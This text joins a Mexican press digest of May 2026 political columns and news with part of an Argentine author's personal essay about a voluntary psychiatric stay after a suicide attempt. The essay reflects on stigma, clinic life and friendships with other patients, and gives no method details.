COLUMNA / TRASCENDIÓ / Que a pesar de su renuncia a Morena, el diputado Sergio Mayer se mantendrá como integrante de la bancada guinda en San Lázaro con todos sus derechos “a salvo”, es decir, oficina, representación en las comisiones ordinarias y prerrogativas económicas, entre otros, pues, según el coordinador morenista, Ricardo Monreal, el grupo parlamentario es autónomo e independiente del partido y mientras el actor no presente su dimisión por escrito, seguirá siendo uno más de los 253 legisladores de la fracción mayoritaria. [MILENIO / p 2] Escriben del tema: SUBE Y BAJA [CRÓNICA / p 2 Opinión]; ROZONES [RAZÓN / p 2]; EL PRECIO DE LA FAMA / ANA MARÍA ALVARADO [24 HORAS]
ARTÍCULO / RUBÉN MOREIRA VALDEZ / El derrumbe institucional / Ocho años después, México es distinto, pero no mejor. Cambió a un régimen con tintes autoritarios, donde se usa la demagogia como instrumento de control. Desde el día en que tomó protesta López Obrador, los voceros del gobierno se esfuerzan por instalar en el colectivo la existencia de una transformación histórica. Le llaman 4T y, si no fuera por lo peligroso de su conducta, pasarían por una broma de un grupo de fanáticos dedicados a la política. [ÍNDIGO / p 6]; [SOL DE MÉXICO / p 21]
ARTÍCULO / RUBÉN MOREIRA VALDEZ / El narco y las autoridades electorales / El Tribunal Electoral y el INE observan comicios en todas partes del mundo y publican libros sobre todo tipo de cuestiones, menos sobre la delincuencia en las elecciones mexicanas. Los acontecimientos de Sinaloa o Michoacán merecen una profunda reflexión para evitar que los criminales impongan gobernantes o legisladores. La democracia está por fenecer y todos somos responsables de evitarlo. Pero los de la herradura y los magistrados son los primeros obligados. [PRENSA / p 14]
ARTÍCULO / LUIS HUMBERTO FERNÁNDEZ / Mejorar la justicia / El pasado 18 de mayo, la presidenta Claudia Sheinbaum Pardo anunció el envío de una iniciativa de reforma constitucional al Congreso para ajustar el modelo de elección popular del Poder Judicial. La propuesta es relevante porque, lejos de retroceder en la transformación del Estado mexicano, la perfecciona con base en la experiencia del primer ejercicio electoral de 2025; además, atiende las consideraciones del INE y las propuestas ciudadanas, lo que refleja un gobierno que escuchó las complejidades de las boletas y, en general, del proceso. [SOL DE MÉXICO / p 22]
COLUMNA / LO QUE NO SE DICE / MIGUEL ÁNGEL MONRAZ / La destrucción de la esperanza pública / Hace décadas, uno de los fundadores del PAN -Manuel Gómez Morín- escribió una frase que hoy parece describir con precisión el momento que vive México: “… es peor el bien mal realizado que el mal mismo. Lo primero destruye la posibilidad del bien y mata la esperanza. ”La fuerza de esa reflexión está en que no habla únicamente del fracaso de un gobierno. Habla de algo más profundo: el deterioro de la confianza colectiva en que las cosas pueden mejorar. Y eso es exactamente lo que está ocurriendo en México. México vive una crisis de esperanza pública. [HERALDO / p 11]
ARTÍCULO / MARÍA ROSETE / Envejecer con dignidad también es un derecho / En el último día del periodo ordinario en la Cámara de Diputados, desde la Comisión de Atención a Grupos Vulnerables decidimos enviar un mensaje claro y contundente, en México no podemos seguir ignorando la realidad que viven miles de personas adultas mayores. Por ello, aprobamos una iniciativa que busca erradicar la violencia contra las personas adultas mayores, una problemática que durante mucho tiempo permaneció invisibilizada y que hoy exige acciones firmes, sensibilidad y compromiso institucional. [CONTRARÉPLICA / p 8]
ARTÍCULO / IRAÍS REYES DE LA TORRE / Perfect Day y el Tren Maya: dos caras del mismo ecocidio en el Caribe mexicano / La decisión de Semarnat de no aprobar, “en las condiciones actuales”, Perfect Day México en Mahahual no fue espontánea. Fue resultado de presión social, amparos, pronunciamientos ambientales y de una ciudadanía que entiende que el Caribe mexicano está llegando a un punto de no retorno ecológico. Simultáneamente es un espejo incómodo. Si el Estado reconoce que un parque acuático privado amenaza manglares, dunas, arrecifes y acuíferos, ¿cómo justifica la devastación consumada por el Tren Maya en la Selva? [HERALDO / p 11]
EDITORIAL / La presidenta Claudia Sheinbaum Pardo envió a la Comisión Permanente del Congreso de la Unión una iniciativa de reforma a la Ley General de Instituciones y Procedimientos Electorales para establecer mecanismos que permitan a partidos políticos saber si sus candidatos tienen vínculos con la delincuencia organizada. La propuesta plantea integrar a cinco consejeros del INE en una comisión de verificación e integridad de candidaturas. [JORNADA / p 2]
COLUMNA / PEPE GRILLO / Pues habrá periodo extraordinario luego del aval de la Comisión Permanente. No hay sorpresas, se atenderá la petición de la Presidenta Sheinbaum en torno a una nueva reforma electoral que busca aplazar para 2028 la elección de jueces y ministros, en tanto que una revocación de mandato presidencial, en caso de que se solicite y se cumplan los requisitos (como sin duda harán los morenistas) se realice en la misma fecha. Con todo y supermayoría oficialista, hacer revocación y elección judicial el mismo día y en las mismas casillas es tema aún debate, como pronto se verá. [CRÓNICA / p 2 Opinión] Del tema escribe: ARSENAL / FRANCISCO GARFIAS [EXCÉLSIOR / p 6]
COLUMNA / CONFIDENCIAL / Muy oportuno y observador fue ayer el diputado federal panista Homero Niño de Rivera. Cuestionó a la presidenta de la Mesa Directiva del Senado, Laura Itzel Castillo, que “si el senador Enrique Inzunza está huido, no se presenta a trabajar, pero no pide licencia, hay que ver, administrativamente, qué procede. Porque si no tiene cuentas bancarias porque están congeladas, ¿cómo le van a depositar su sueldo?” [FINANCIERO / p 37]
COLUMNA / ¿SERÁ? / Si bien en las 3 sesiones de la Comisión Permanente, Morena ha cubierto la ausencia del senador Enrique Inzunza, la próxima semana, en el marco del periodo extraordinario, veremos si Inzunza Cázarez sale de su tierra o bien solicita licencia al cargo y se llama a su suplente, Omar Alejandro López Campos… La reforma constitucional que se aprobará requiere los votos de todos los oficialistas, que son 87, o con tal de seguir defendiendo y ocultando al sinaloense, se atreverán a sesionar con el límite de votos que requieren para la mayoría calificada, que son 86. [24 HORAS] Comentan el tema: BAJO RESERVA [UNIVERSAL / p 2]; ROZONES [RAZÓN / p 2]; TIROS LIBRES [OVACIONES / p 22]
COLUMNA / DESDE LAS CÁMARAS LEGISLATIVAS / JESÚS HÉCTOR MUÑOZ ESCOBAR / El vicecoordinador de Morena, Alfonso Ramírez Cuéllar, ya está listo para encabezar el próximo sábado el Primer Encuentro Nacional de “Construyendo Justicia”. El legislador hizo una invitación a la ciudadanía a participar en este encuentro que será una oportunidad para dialogar, proponer y seguir construyendo la transformación en nuestra de la ciudad de libertades y derechos. [24 HORAS]
COLUMNA / JAQUE MATE / SERGIO SARMIENTO / Es positivo que el régimen aplace un año las elecciones judiciales, pero en realidad debería cancelarlas. ¿O acaso piensa que con las tómbolas y el voto popular evitará que los jueces controlados por el narco lleguen a los tribunales? [REFORMA / p 10] El tema lo comentan: SAÚL MONREAL [SOL DE MÉXICO / p 20]; MALOS MODOS / JULIO PATAN [HERALDO / p 9]
COLUMNA / EL DATO INCÓMODO / JUAN ORTIZ / Un vicio de la política es la sobrerregulación. Hoy México ya tiene leyes contra dinero ilícito y delitos electorales. De acuerdo con la Ley General de Partidos, están prohibidas aportaciones de origen ilegal. La Ley Electoral permite coordinación con Hacienda y la FGR. La Ley de Delitos Electorales castiga aportaciones prohibidas y uso electoral de programas sociales. Pero ningún actor relevante ha caído. [OVACIONES / p 22]
COLUMNA / FRENTES POLÍTICOS / Pedro Haces Barba, secretario general de la Confederación Autónoma de Trabajadores y Empleados de México, cruzó la frontera con una agenda que mezcló sindicatos, inversión y diplomacia. En Washington abrió la puerta a empresarios estadunidenses interesados en colocar capital en México bajo el paraguas de empleos formales; en Oklahoma se dejó ver con jornaleros migrantes que sobreviven entre carencias y promesas recicladas y en Houston buscó amarrar coordinación con la cónsul María Elena Orantes y Margarita Cortés, directora de Relaciones Interinstitucionales de la Cancillería. [EXCÉLSIOR / p 11] Comenta el tema: TELÉFONO ROJO / JOSÉ UREÑA [24 HORAS]
COLUMNA / BRÚJULA DEL CAMBIO / RAFAEL ABASCAL Y MACÍAS / Todos los legisladores de la oposición, MC, PAN y PRI, se manifestaron enfáticamente contra de la aplicación retroactiva de la iniciativa de reforma constitucional en materia de pensiones. El PRI acaba de enviar al Senado una iniciativa de reforma del Segundo Transitorio del decreto por el que se reforma y adiciona el Artículo 127 Constitucional, en materia de jubilaciones y pensiones de Entidades Públicas; en contra de la aplicación retroactiva sobre las pensiones o jubilaciones. [INDEPENDIENTE / p 8]
COLUMNA / REPÚBLICA H / SOFÍA GARCÍA / Arnoldo Jáquez Pérez, presidente municipal de Madera, Chihuahua, está “bajo la lupa” tras las observaciones de la ASF 2024. El municipio que gobierna no retuvo, ni enteró al SAT, el ISR del pago a trabajadores y además pasó por alto emitir comprobantes fiscales digitales por más de 40.4 millones de pesos relacionados con nómina. [HERALDO / p 5]
INFORMACIÓN DESTACADAGOBIERNOMantener colaboración y respeto, acuerdo con EU, señala Sheinbaum.– La presidenta Claudia Sheinbaum Pardo recibió ayer en Palacio Nacional al secretario del Departamento de Seguridad Nacional de Estados Unidos, Markwayne Mullin. Al término del encuentro, la mandataria informó que ambas naciones acordaron mantener la colaboración bilateral “en el marco de respeto de nuestros países”. Mullin por su lado destacó que dialogaron sobre prioridades para Washington, entre ellas combate al narcoterrorismo, la migración irregular y la seguridad fronteriza. [JORNADA / pp., p7] [AP]
Sheinbaum intenta relanzar la relación con Estados Unidos recibiendo al jefe de Seguridad Interior de Trump.– México prepara el aperitivo mundialista, alejado paradójicamente del fútbol, centrado en la relación con uno de sus socios en la empresa balompédica, Estados Unidos. Los movimientos de las últimas semanas han tullido al gobierno de Claudia Sheinbaum, que ha asistido impotente al bombazo de las acusaciones en el país vecino contra funcionarios de Sinaloa, entre ellos el gobernador, Rubén Rocha, compañero de partido. [PAÍS]
ESTADOS
Brindan servicios a comunidades de Iguala.- En una acción orientada a reducir la base social de la criminalidad y revertir el abandono histórico en la Montaña Baja de Guerrero, el gobierno federal y la administración estatal desplegaron la primera Feria de Servicios en las comunidades de Alcozacán y Coatzingo. Se ha detallado que la iniciativa, enmarcada en el programa Atención a las Causas que Generan la Violencia, busca pacificar la región mediante el acceso a derechos básicos y servicios institucionales. [EXCÉLSIOR / pp., p7]
GENERAL
La corrupción en México costó más de 17 mil millones de pesos en 2025: INEGI.– La corrupción en México generó un costo estimado de 17 mil 707 millones de pesos durante 2025, de acuerdo con la Encuesta Nacional de Calidad e Impacto Gubernamental (ENCIG) presentada por el Instituto Nacional de Estadística y Geografía. El estudio señala que los actos de corrupción relacionados con pagos, trámites, solicitudes de servicios públicos y contacto con autoridades presentaron un incremento de 48.7% respecto a 2023. [CRÓNICA / pp., p11]
SEGURIDAD
Se reparten Morelos 11 agrupaciones delictivas.– La Operación Enjambre abrió una ventana al mapa político y criminal de un estado donde, según análisis territoriales recientes, al menos 11 organizaciones disputan municipios, corredores urbanos y redes locales de protección. El golpe contra alcaldes y exfuncionarios de Cuautla, Atlatlahucan y Yecapixtla colocó el caso en una dimensión mayor, la de la infiltración municipal como forma de control territorial. [RAZÓN / p9]
Adriana, de clínica Detox de Puebla a zanja en Tlaxcala.- Autoridades de Puebla informaron que el cuerpo localizado en el municipio de Atltzayanca, Tlaxcala, pertenece a Blanca Adriana Vázquez Montiel, mujer de 37 años, desaparecida desde el lunes 18 de mayo, luego de ingresar a un procedimiento estético en la clínica Detox, ubicada en la capital poblana. [MILENIO / pp., p9]
ECONOMÍA
Nuevo TLC liberalizará 94% del comercio México-UE.– El Acuerdo Comercial Integrado (ACI) que se firmará este viernes 22 de mayo liberalizará 94% del comercio entre México y la Unión Europea e impulsará proyectos de minerales críticos en México, de acuerdo con funcionarios de ambas partes. Maroš Šefčovič, comisario de Comercio y Seguridad Económica de la Comisión Europea, previó que los principales cambios que originará este acuerdo son el aumento del comercio de productos agroalimentarios y proyectos relacionados con minerales críticos. [ECONOMISTA / pp., p4–5]
Afianza Banxico fin de recortes y ve lenta recuperación del PIB.- La Junta de Gobierno del Banco de México (Banxico) tiene claro que la postura monetaria alcanzada debe permanecer por un largo periodo para enfrentar los choques inflacionarios, en un entorno de debilidad económica que ha sido más profunda de lo esperado. Para el resto del año, algunos miembros de la Junta indicaron que se espera una recuperación más moderada de lo anticipado. [FINANCIERO / pp., p4]
Invierten 37 mil mdp en obras para estados mundialistas.- El Gobierno federal y los de la Ciudad de México, Nuevo León y Jalisco registran inversiones públicas por al menos 37 mil 300 millones de pesos con motivo del Mundial de Futbol, que comenzará el próximo 11 de junio. Una revisión del diario 24 Horas da cuenta de que la mayoría de las inversiones directas están dirigidas a proyectos de movilidad, infraestructura, conectividad aeroportuaria, deporte comunitario y seguridad, en el contexto de los 13 partidos que se jugarán en las tres sedes mexicanas y ante una expectativa de cinco millones de turistas. [24HORAS / pp., p5]
SALUD
Salud perfila prohibición del rojo número 3.– En México, la Secretaría de Salud busca prohibir en alimentos y bebidas el uso del colorante rojo número 3 por el daño que provoca. El análisis de este colorante inició desde enero de 2025, de acuerdo con la Comisión Federal de la Protección contra Riesgos Sanitarios (Cofepris). [SOL DE MÉXICO / p7]
INTERNACIONAL
Cuba acepta ayuda de EU; Raúl Castro es ‘fugitivo’.- El secretario de Estado de Estados Unidos, Marco Rubio, dijo ayer que Cuba recibió una oferta de 100 millones
–sn–
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«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
